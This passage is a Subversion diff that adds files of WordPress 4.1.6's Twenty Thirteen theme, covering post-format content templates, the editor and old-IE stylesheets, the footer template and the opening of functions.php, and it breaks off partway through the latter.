+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php twentythirteen_entry_meta(); ?>
+
+		<?php if ( comments_open() && ! is_single() ) : ?>
+		<span class="comments-link">
+			<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a comment', 'twentythirteen' ) . '</span>', __( 'One comment so far', 'twentythirteen' ), __( 'View all % comments', 'twentythirteen' ) ); ?>
+		</span><!-- .comments-link -->
+		<?php endif; // comments_open() ?>
+		<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/content-status.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/content-status.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/content-status.php	(revision 33402)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * The template for displaying posts in the Status post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php twentythirteen_entry_meta(); ?>
+		<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+
+		<?php if ( is_single() && get_the_author_meta( 'description' ) && is_multi_author() ) : ?>
+			<?php get_template_part( 'author-bio' ); ?>
+		<?php endif; ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/content-video.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/content-video.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/content-video.php	(revision 33402)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * The template for displaying posts in the Video post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php if ( is_single() ) : ?>
+		<h1 class="entry-title"><?php the_title(); ?></h1>
+		<?php else : ?>
+		<h1 class="entry-title">
+			<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a>
+		</h1>
+		<?php endif; // is_single() ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php twentythirteen_entry_meta(); ?>
+
+		<?php if ( comments_open() && ! is_single() ) : ?>
+		<span class="comments-link">
+			<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a comment', 'twentythirteen' ) . '</span>', __( 'One comment so far', 'twentythirteen' ), __( 'View all % comments', 'twentythirteen' ) ); ?>
+		</span><!-- .comments-link -->
+		<?php endif; // comments_open() ?>
+		<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+
+		<?php if ( is_single() && get_the_author_meta( 'description' ) && is_multi_author() ) : ?>
+			<?php get_template_part( 'author-bio' ); ?>
+		<?php endif; ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/content.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/content.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/content.php	(revision 33402)
@@ -0,0 +1,64 @@
+<?php
+/**
+ * The default template for displaying content
+ *
+ * Used for both single and index/archive/search.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php if ( has_post_thumbnail() && ! post_password_required() && ! is_attachment() ) : ?>
+		<div class="entry-thumbnail">
+			<?php the_post_thumbnail(); ?>
+		</div>
+		<?php endif; ?>
+
+		<?php if ( is_single() ) : ?>
+		<h1 class="entry-title"><?php the_title(); ?></h1>
+		<?php else : ?>
+		<h1 class="entry-title">
+			<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a>
+		</h1>
+		<?php endif; // is_single() ?>
+
+		<div class="entry-meta">
+			<?php twentythirteen_entry_meta(); ?>
+			<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<?php if ( is_search() ) : // Only display Excerpts for Search ?>
+	<div class="entry-summary">
+		<?php the_excerpt(); ?>
+	</div><!-- .entry-summary -->
+	<?php else : ?>
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+	</div><!-- .entry-content -->
+	<?php endif; ?>
+
+	<footer class="entry-meta">
+		<?php if ( comments_open() && ! is_single() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a comment', 'twentythirteen' ) . '</span>', __( 'One comment so far', 'twentythirteen' ), __( 'View all % comments', 'twentythirteen' ) ); ?>
+			</div><!-- .comments-link -->
+		<?php endif; // comments_open() ?>
+
+		<?php if ( is_single() && get_the_author_meta( 'description' ) && is_multi_author() ) : ?>
+			<?php get_template_part( 'author-bio' ); ?>
+		<?php endif; ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/css/editor-style.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/css/editor-style.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/css/editor-style.css	(revision 33402)
@@ -0,0 +1,771 @@
+/*
+Theme Name: Twenty Thirteen
+Description: Used to style the TinyMCE editor.
+*/
+
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Body
+ * 2.0 - Headings
+ * 3.0 - Text Elements
+ * 4.0 - Links
+ * 5.0 - Alignment
+ * 6.0 - Tables
+ * 7.0 - Images
+ * 8.0 - Galleries
+ * 9.0 - Audio/Video
+ * 10.0 - Post Formats
+ * 11.0 - RTL
+ * ----------------------------------------------------------------------------
+ */
+
+
+/**
+ * 1.0 Body
+ * ----------------------------------------------------------------------------
+ */
+
+html .mceContentBody {
+	font-size: 100%;
+	max-width: 604px;
+}
+
+body {
+	color: #141412;
+	font-family: "Source Sans Pro", Helvetica, sans-serif;
+	line-height: 1.5;
+	text-rendering: optimizeLegibility;
+	vertical-align: baseline;
+}
+
+
+/**
+ * 2.0 Headings
+ * ----------------------------------------------------------------------------
+ */
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	font-family: Bitter, Georgia, serif;
+	line-height: 1.3;
+}
+
+h1 {
+	font-size: 48px;
+	margin: 33px 0;
+}
+
+h2 {
+	font-size: 30px;
+	margin: 25px 0;
+}
+
+h3 {
+	font-size: 22px;
+	margin: 22px 0;
+}
+
+h4 {
+	font-size: 20px;
+	margin: 25px 0;
+}
+
+h5 {
+	font-size: 18px;
+	margin: 30px 0;
+}
+
+h6 {
+	font-size: 16px;
+	margin: 36px 0;
+}
+
+hr {
+	background: url(../images/dotted-line.png) repeat center top;
+	background-size: 4px 4px;
+	border: 0;
+	height: 1px;
+	margin: 0 0 24px;
+}
+
+
+/**
+ * 3.0 Text Elements
+ * ----------------------------------------------------------------------------
+ */
+
+p {
+	margin: 0 0 24px;
+}
+
+ol,
+ul {
+	margin: 16px 0;
+	padding: 0 0 0 40px;
+}
+
+ul {
+	list-style-type: square;
+}
+
+ol {
+	list-style: decimal outside;
+}
+
+li > ul,
+li > ol {
+	margin: 0;
+}
+
+dl {
+	margin: 0 20px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+dd {
+	margin: 0 0 20px;
+}
+
+strong {
+	font-weight: bold;
+}
+
+code,
+kbd,
+pre,
+samp {
+	font-family: monospace, serif;
+	font-size: 14px;
+}
+
+pre {
+	background: #f5f5f5;
+	color: #666;
+	font-family: monospace;
+	font-size: 14px;
+	margin: 20px 0;
+	overflow: auto;
+	padding: 20px;
+	white-space: pre;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+blockquote,
+q {
+	quotes: none;
+}
+
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+	content: "";
+	content: none;
+}
+
+blockquote {
+	font-size: 24px;
+	font-style: italic;
+	font-weight: 300;
+	margin: 24px 40px;
+}
+
+blockquote blockquote {
+	margin-right: 0;
+}
+
+blockquote cite,
+blockquote small {
+	font-size: 14px;
+	font-weight: normal;
+	text-transform: uppercase;
+}
+
+cite {
+	border-bottom: 0;
+}
+
+abbr[title] {
+	border-bottom: 1px dotted;
+}
+
+address {
+	font-style: italic;
+	margin: 0 0 24px;
+}
+
+del {
+	color: #333;
+}
+
+ins {
+	background: #fff9c0;
+	border: none;
+	color: #333;
+	text-decoration: none;
+}
+
+sub,
+sup {
+	font-size: 75%;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+
+sup {
+	top: -0.5em;
+}
+
+sub {
+	bottom: -0.25em;
+}
+
+
+/**
+ * 4.0 Links
+ * ----------------------------------------------------------------------------
+ */
+
+a {
+	color: #ca3c08;
+	text-decoration: none;
+}
+
+a:visited {
+	color: #ac0404;
+}
+
+a:focus {
+	outline: thin dotted;
+}
+
+a:active,
+a:hover {
+	color: #ea9629;
+	outline: 0;
+}
+
+a:hover {
+	text-decoration: underline;
+}
+
+
+/**
+ * 5.0 Alignment
+ * ----------------------------------------------------------------------------
+ */
+
+.alignleft {
+	float: left;
+	margin: 5px 20px 5px 0;
+}
+
+.alignright {
+	float: right;
+	margin: 5px 0 5px 20px;
+}
+
+.aligncenter {
+	display: block;
+	margin: 5px auto;
+}
+
+img.alignnone {
+	margin: 5px 0;
+}
+
+
+/**
+ * 6.0 Tables
+ * ----------------------------------------------------------------------------
+ */
+
+table {
+	border-bottom: 1px solid #ededed;
+	border-collapse: collapse;
+	border-spacing: 0;
+	font-size: 14px;
+	line-height: 2;
+	margin: 0 0 20px;
+	width: 100%;
+}
+
+caption,
+th,
+td {
+	font-weight: normal;
+	text-align: left;
+}
+
+caption {
+	font-size: 16px;
+	margin: 20px 0;
+}
+
+th {
+	font-weight: bold;
+	text-transform: uppercase;
+}
+
+td {
+	border-top: 1px solid #ededed;
+	padding: 6px 10px 6px 0;
+}
+
+
+/**
+ * 7.0 Images
+ * ----------------------------------------------------------------------------
+ */
+
+img {
+	height: auto;
+	max-width: 100%;
+	vertical-align: middle;
+}
+
+.wp-caption {
+	background: transparent;
+	border: none;
+	margin: 0;
+	padding: 0;
+	text-align: left;
+}
+
+.html5-captions .wp-caption {
+	padding: 0;
+}
+
+.wp-caption.alignleft {
+	margin: 5px 10px 5px 0;
+}
+
+.html5-captions .wp-caption.alignleft {
+	margin-right: 20px;
+}
+
+.wp-caption.alignright {
+	margin: 5px 0 5px 10px;
+}
+
+.wp-caption.alignright img,
+.wp-caption.alignright .wp-caption-dd {
+	padding-left: 10px;
+}
+
+.html5-captions .wp-caption.alignright {
+	margin-left: 20px;
+}
+
+.html5-captions .wp-caption.alignright img,
+.html5-captions .wp-caption.alignright .wp-caption-dd {
+	padding: 0;
+}
+
+.wp-caption-dt {
+	margin: 0;
+}
+
+.wp-caption .wp-caption-text,
+.wp-caption-dd {
+	color: #220e10;
+	font-size: 18px;
+	font-style: italic;
+	font-weight: 300;
+	line-height: 1.5;
+	margin-bottom: 24px;
+	padding: 0;
+}
+
+.mceTemp + ul,
+.mceTemp + ol {
+	list-style-position: inside;
+}
+
+
+/**
+ * 8.0 Galleries
+ * ----------------------------------------------------------------------------
+ */
+
+.gallery .gallery-item {
+	float: left;
+	margin: 0 4px 4px 0;
+	overflow: hidden;
+	padding: 0;
+	position: relative;
+}
+
+.gallery-columns-1 .gallery-item {
+	max-width: 100%;
+	width: auto;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 48%;
+	max-width: -webkit-calc(50% - 14px);
+	max-width:         calc(50% - 14px);
+	width: auto;
+}
+
+.gallery-columns-3 .gallery-item {
+	max-width: 32%;
+	max-width: -webkit-calc(33.3% - 11px);
+	max-width:         calc(33.3% - 11px);
+	width: auto;
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 23%;
+	max-width: -webkit-calc(25% - 9px);
+	max-width:         calc(25% - 9px);
+	width: auto;
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 19%;
+	max-width: -webkit-calc(20% - 8px);
+	max-width:         calc(20% - 8px);
+	width: auto;
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 15%;
+	max-width: -webkit-calc(16.7% - 7px);
+	max-width:         calc(16.7% - 7px);
+	width: auto;
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 13%;
+	max-width: -webkit-calc(14.28% - 7px);
+	max-width:         calc(14.28% - 7px);
+	width: auto;
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 11%;
+	max-width: -webkit-calc(12.5% - 6px);
+	max-width:         calc(12.5% - 6px);
+	width: auto;
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 9%;
+	max-width: -webkit-calc(11.1% - 6px);
+	max-width:         calc(11.1% - 6px);
+	width: auto;
+}
+
+.gallery-columns-1 .gallery-item:nth-of-type(1n),
+.gallery-columns-2 .gallery-item:nth-of-type(2n),
+.gallery-columns-3 .gallery-item:nth-of-type(3n),
+.gallery-columns-4 .gallery-item:nth-of-type(4n),
+.gallery-columns-5 .gallery-item:nth-of-type(5n),
+.gallery-columns-6 .gallery-item:nth-of-type(6n),
+.gallery-columns-7 .gallery-item:nth-of-type(7n),
+.gallery-columns-8 .gallery-item:nth-of-type(8n),
+.gallery-columns-9 .gallery-item:nth-of-type(9n) {
+	margin-right: 0;
+}
+
+.gallery-columns-1 .gallery-item:nth-of-type(1n),
+.gallery-columns-2 .gallery-item:nth-of-type(2n - 1),
+.gallery-columns-3 .gallery-item:nth-of-type(3n - 2),
+.gallery-columns-4 .gallery-item:nth-of-type(4n - 3),
+.gallery-columns-5 .gallery-item:nth-of-type(5n - 4),
+.gallery-columns-6 .gallery-item:nth-of-type(6n - 5),
+.gallery-columns-7 .gallery-item:nth-of-type(7n - 6),
+.gallery-columns-8 .gallery-item:nth-of-type(8n - 7),
+.gallery-columns-9 .gallery-item:nth-of-type(9n - 8) {
+	margin-left: 12px; /* Compensate for the default negative margin on .gallery, which can't be changed. */
+}
+
+.gallery .gallery-caption {
+	background-color: rgba(0, 0, 0, 0.7);
+	box-sizing: border-box;
+	color: #fff;
+	font-size: 14px;
+	line-height: 1.3;
+	margin: 0;
+	max-height: 50%;
+	opacity: 0;
+	padding: 2px 8px;
+	position: absolute;
+	bottom: 0;
+	left: 0;
+	text-align: left;
+	-webkit-transition: opacity 400ms ease;
+	transition:         opacity 400ms ease;
+	width: 100%;
+}
+
+.gallery .gallery-caption:before {
+	box-shadow: 0 -10px 15px #000 inset;
+	content: "";
+	height: 100%;
+	min-height: 49px;
+	position: absolute;
+	left: 0;
+	top: 0;
+	width: 100%;
+}
+
+.gallery-item:hover .gallery-caption {
+	opacity: 1;
+}
+
+.gallery-columns-7 .gallery-caption,
+.gallery-columns-8 .gallery-caption,
+.gallery-columns-9 .gallery-caption {
+	display: none;
+}
+
+
+/**
+ * 9.0 Audio/Video
+ * ----------------------------------------------------------------------------
+ */
+.mejs-mediaelement,
+.mejs-container .mejs-controls {
+	background: #220e10;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-loaded,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	background: #fff;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-current {
+	background: #ea9629;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-total,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total {
+	background: #595959;
+}
+
+.mejs-controls .mejs-time-rail span,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	border-radius: 0;
+}
+
+
+/**
+ * 10.0 Post Formats
+ * ----------------------------------------------------------------------------
+ */
+
+/* Aside */
+.post-format-aside {
+	background-color: #f7f5e7;
+}
+
+.post-format-aside blockquote {
+	font-size: 100%;
+	font-weight: normal;
+}
+
+.post-format-aside cite {
+	font-size: 100%;
+	text-transform: none;
+}
+
+.post-format-aside cite:before {
+	content: "\2014";
+	margin-right: 5px;
+}
+
+/* Audio */
+.post-format-audio {
+	background-color: #db572f;
+}
+
+.post-format-audio a {
+	color: #fbfaf3;
+}
+
+.post-format-audio:before {
+	background: url(../images/dotted-line.png) repeat-y 85px 0;
+	background-size: 4px 4px;
+	content: "\f109";
+	display: block;
+	float: left;
+	font-family: Genericons;
+	font-size: 64px;
+	-webkit-font-smoothing: antialiased;
+	height: 100%;
+	line-height: 1;
+	width: 120px;
+}
+
+/* Chat */
+.post-format-chat {
+	background-color: #eadaa6;
+}
+
+.post-format-chat a {
+	color: #722d19;
+}
+
+/* Gallery */
+.post-format-gallery {
+	background-color: #fbca3c;
+}
+
+.post-format-gallery a {
+	color: #722d19;
+}
+
+/* Image: same as Standard/Defaults */
+
+/* Link */
+.post-format-link {
+	background-color: #f7f5e7;
+}
+
+/* Quote */
+.post-format-quote {
+	background-color: #210d10;
+	color: #f7f5e7;
+}
+
+.post-format-quote a {
+	color: #e63f2a;
+}
+
+.post-format-quote blockquote {
+	font-size: 28px;
+	font-style: italic;
+	font-weight: 300;
+	margin: 0;
+	padding-left: 75px;
+	position: relative;
+}
+
+.post-format-quote blockquote:before {
+	content: '\201C';
+	font-size: 140px;
+	font-weight: 400;
+	line-height: .8;
+	padding-right: 25px;
+	position: absolute;
+	left: -15px;
+	top: -3px;
+}
+
+.post-format-quote blockquote small,
+.post-format-quote blockquote cite {
+	display: block;
+	font-size: 16px;
+}
+
+.format-quote .entry-content cite a {
+	border-bottom: 1px dotted #fff;
+	color: #fff;
+}
+
+.format-quote .entry-content cite a:hover {
+	text-decoration: none;
+}
+
+
+/* Status */
+.post-format-status {
+	background-color: #722d19;
+	color: #f7f5e7;
+	font-style: italic;
+	font-weight: 300;
+	padding: 0;
+	padding-left: 35px;
+}
+
+.post-format-status.mceContentBody {
+	font-size: 24px;
+}
+
+.post-format-status:before {
+	background: url(../images/dotted-line.png) repeat-y left bottom;
+	background-size: 4px 4px;
+	content: "";
+	display: block;
+	float: left;
+	height: 100%;
+	position: relative;
+	left: -30px;
+	width: 1px;
+}
+
+.post-format-status > p:first-child:before {
+	background-color: rgba(0, 0, 0, 0.65);
+	content: "";
+	height: 3px;
+	width: 13px;
+	margin-top: 13px;
+	position: absolute;
+	left: 9px;
+}
+
+.post-format-status a {
+	color: #eadaa6;
+}
+
+/* Video */
+.post-format-video {
+	background-color: #db572f;
+}
+
+.post-format-video a {
+	color: #fbfaf3;
+}
+
+
+/**
+ * 11.0 RTL
+ * ----------------------------------------------------------------------------
+ */
+
+html .mceContentBody.rtl {
+	direction: rtl;
+	unicode-bidi: embed;
+}
+
+.rtl ol,
+.rtl ul {
+	padding: 0 40px 0 0;
+}
+
+.rtl .wp-caption,
+.rtl tr th {
+	text-align: right;
+}
+
+.rtl td {
+	padding: 6px 0 6px 10px;
+	text-align: right;
+}
+
+.rtl blockquote blockquote {
+	margin-left: 0;
+	margin-right: 24px;
+}
+
+.rtl.post-format-audio:before,
+.rtl.post-format-status:before,
+.rtl.post-format-status > p:first-child:before {
+	background: none;
+	content: none;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/css/ie.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/css/ie.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/css/ie.css	(revision 33402)
@@ -0,0 +1,288 @@
+/*
+Styles for older IE versions (previous to IE9).
+*/
+
+
+
+.genericon:before:hover,
+.menu-toggle:after:hover,
+.date a:before:hover,
+.entry-meta .author a:before:hover,
+.format-audio .entry-content:before:hover,
+.comments-link a:before:hover,
+.tags-links a:first-child:before:hover,
+.categories-links a:first-child:before:hover,
+.edit-link > a:before:hover,
+.attachment-meta:before:hover,
+.attachment-meta a:before:hover,
+.comment-awaiting-moderation:before:hover,
+.comment-reply-link:before:hover,
+.comment-reply-title small a:before:hover,
+.bypostauthor > .comment-body .fn:before:hover {
+	text-decoration: none;
+}
+
+.nav-menu .sub-menu ul,
+.nav-menu .children ul {
+	left: 100%;
+}
+
+.site-header .home-link {
+	max-width: 1040px;
+}
+
+.site-header .search-form [type="search"],
+.site-header .search-form [type="text"] {
+	padding-top: 6px;
+}
+
+img.alignright {
+	margin-right: 0;
+}
+
+img.alignleft {
+	margin-left: 0;
+}
+
+.site-main .sidebar-inner {
+	width: 1040px;
+}
+
+.site-main .widget-area {
+	margin-right: 60px;
+}
+
+.format-image .entry-content .size-full {
+	margin: 0;
+	max-width: 604px;
+}
+
+.gallery-columns-1 .gallery-item,
+.gallery-columns-2 .gallery-item,
+.gallery-columns-3 .gallery-item {
+	max-width: none;
+}
+
+.gallery img {
+	width: auto;
+}
+
+.gallery-caption {
+	background: #000;
+	filter: alpha(opacity=0);
+}
+
+.gallery-item:hover .gallery-caption {
+	filter: alpha(opacity=70);
+}
+
+.comment {
+	clear: both;
+}
+
+.comment-meta,
+.comment-content,
+.comment-list .reply {
+	width: 480px;
+}
+
+.depth-2 .comment-meta,
+.depth-2 .comment-content,
+.comment-list .depth-2 .reply {
+	width: 460px;
+}
+
+.depth-3 .comment-meta,
+.depth-3 .comment-content,
+.comment-list .depth-3 .reply {
+	width: 440px;
+}
+
+.depth-4 .comment-meta,
+.depth-4 .comment-content,
+.comment-list .depth-4 .reply {
+	width: 420px;
+}
+
+.depth-5 .comment-meta,
+.depth-5 .comment-content,
+.comment-list .depth-5 .reply {
+	width: 400px;
+}
+
+.comment-meta {
+	margin-bottom: 0;
+}
+
+.widget {
+	background: #f7f5e7;
+}
+
+.site-footer .widget {
+	background: none;
+}
+
+/* Internet Explorer 8 */
+.ie8 .site {
+	border: 0;
+}
+
+.ie8 img.size-full,
+.ie8 img.size-large {
+	height: auto;
+	width: auto;
+}
+
+.ie8 .sidebar .entry-header,
+.ie8 .sidebar .entry-content,
+.ie8 .sidebar .entry-summary,
+.ie8 .sidebar .entry-meta {
+	max-width: 724px;
+}
+
+.ie8 .author-info {
+	margin-left: 0;
+}
+
+.ie8 .paging-navigation .nav-previous .meta-nav {
+	padding: 5px 0 8px;
+	width: 40px;
+}
+
+.ie8 .paging-navigation .nav-next {
+	line-height: 1;
+}
+
+.ie8 .format-status .entry-content:before,
+.ie8 .format-status .entry-meta:before {
+	content: none;
+}
+
+.ie8 .site-main .widget-area {
+	margin-right: 0;
+}
+
+/* Internet Explorer 7 */
+.ie7 audio,
+.ie7 canvas,
+.ie7 video {
+	display: inline;
+	zoom: 1;
+}
+
+.ie7 legend {
+	margin-left: -7px;
+}
+
+.ie7 button,
+.ie7 input,
+.ie7 select,
+.ie7 textarea {
+	vertical-align: middle;
+}
+
+.ie7 button,
+.ie7 input[type="button"],
+.ie7 input[type="reset"],
+.ie7 input[type="submit"] {
+	overflow: visible;
+}
+
+.ie7 input[type="checkbox"],
+.ie7 input[type="radio"] {
+	height: 13px;
+	width: 13px;
+}
+
+.ie7 .screen-reader-text {
+	clip: rect(1px 1px 1px 1px); /* IE7 */
+}
+
+.ie7 .site-header {
+	position: relative;
+	z-index: 1;
+}
+
+.ie7 .main-navigation {
+	max-width: 930px;
+	padding-right: 150px;
+}
+
+.ie7 .nav-menu li a,
+.ie7 .nav-menu li {
+	display: block;
+	float: left;
+}
+
+.ie7 .nav-menu ul {
+	top: 40px;
+}
+
+.ie7 .nav-menu .sub-menu,
+.ie7 .nav-menu .children {
+	display: none;
+	overflow: visible;
+}
+
+.ie7 ul.nav-menu li:hover > ul,
+.ie7 .nav-menu ul li:hover > ul {
+	display: block;
+}
+
+.ie7 .site-header .search-form [type="search"],
+.ie7 .site-header .search-form [type="text"] {
+	background-color: #fff;
+	border: 2px solid #c3c0ab;
+	cursor: text;
+	height: 28px;
+	outline: 0;
+	width: 150px;
+}
+
+.ie7 .entry-header,
+.ie7 .entry-content,
+.ie7 .entry-summary,
+.ie7 .entry-meta {
+	width: 604px;
+}
+
+.ie7 .format-status .entry-content,
+.ie7 .format-status .entry-meta {
+	padding-left: 60px;
+}
+
+.ie7 .sidebar .format-status .entry-content,
+.ie7 .sidebar .format-status .entry-meta {
+	padding-left: 60px;
+}
+
+.ie7 .sidebar .post-navigation .nav-links,
+.ie7 .sidebar .paging-navigation .nav-links {
+	width: 604px;
+}
+
+.ie7 .paging-navigation .meta-nav {
+	padding: 0 0 10px;
+	vertical-align: middle;
+	width: 40px;
+}
+
+.ie7 .comments-title,
+.ie7 .comment-list,
+.ie7 .comment-reply-title,
+.ie7 .comment-respond .comment-form {
+	width: 604px;
+}
+
+.ie7 .site-footer .widget-area {
+	max-width: none;
+	left: auto;
+}
+
+/* RTL for Internet Explorer 7 & 8 */
+.rtl .format-audio .entry-content:before,
+.rtl .comment-reply-link:before,
+.rtl .comment-reply-login:before {
+	-ms-filter: "FlipH";
+	filter: FlipH;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/footer.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/footer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/footer.php	(revision 33402)
@@ -0,0 +1,26 @@
+<?php
+/**
+ * The template for displaying the footer
+ *
+ * Contains footer content and the closing of the #main and #page div elements.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+		</div><!-- #main -->
+		<footer id="colophon" class="site-footer" role="contentinfo">
+			<?php get_sidebar( 'main' ); ?>
+
+			<div class="site-info">
+				<?php do_action( 'twentythirteen_credits' ); ?>
+				<a href="<?php echo esc_url( __( 'http://wordpress.org/', 'twentythirteen' ) ); ?>" title="<?php esc_attr_e( 'Semantic Personal Publishing Platform', 'twentythirteen' ); ?>"><?php printf( __( 'Proudly powered by %s', 'twentythirteen' ), 'WordPress' ); ?></a>
+			</div><!-- .site-info -->
+		</footer><!-- #colophon -->
+	</div><!-- #page -->
+
+	<?php wp_footer(); ?>
+</body>
+</html>
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/functions.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/functions.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/functions.php	(revision 33402)
@@ -0,0 +1,552 @@
+<?php
+/**
+ * Twenty Thirteen functions and definitions
+ *
+ * Sets up the theme and provides some helper functions, which are used in the
+ * theme as custom template tags. Others are attached to action and filter
+ * hooks in WordPress to change core functionality.
+ *
+ * When using a child theme (see http://codex.wordpress.org/Theme_Development
+ * and http://codex.wordpress.org/Child_Themes), you can override certain
+ * functions (those wrapped in a function_exists() call) by defining them first
+ * in your child theme's functions.php file. The child theme's functions.php
+ * file is included before the parent theme's file, so the child theme
+ * functions would be used.
+ *
+ * Functions that are not pluggable (not wrapped in function_exists()) are
+ * instead attached to a filter or action hook.
+ *
+ * For more information on hooks, actions, and filters, @link http://codex.wordpress.org/Plugin_API
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+/*
+ * Set up the content width value based on the theme's design.
+ *
+ * @see twentythirteen_content_width() for template-specific adjustments.
+ */
+if ( ! isset( $content_width ) )
+	$content_width = 604;
+
+/**
+ * Add support for a custom header image.
+ */
+require get_template_directory() . '/inc/custom-header.php';
+
+/**
+ * Twenty Thirteen only works in WordPress 3.6 or later.
+ */
+if ( version_compare( $GLOBALS['wp_version'], '3.6-alpha', '<' ) )
+	require get_template_directory() . '/inc/back-compat.php';
+
+/**
+ * Twenty Thirteen setup.
+ *
+ * Sets up theme defaults and registers the various WordPress features that
+ * Twenty Thirteen supports.
+ *
+ * @uses load_theme_textdomain() For translation/localization support.
+ * @uses add_editor_style() To add Visual Editor stylesheets.
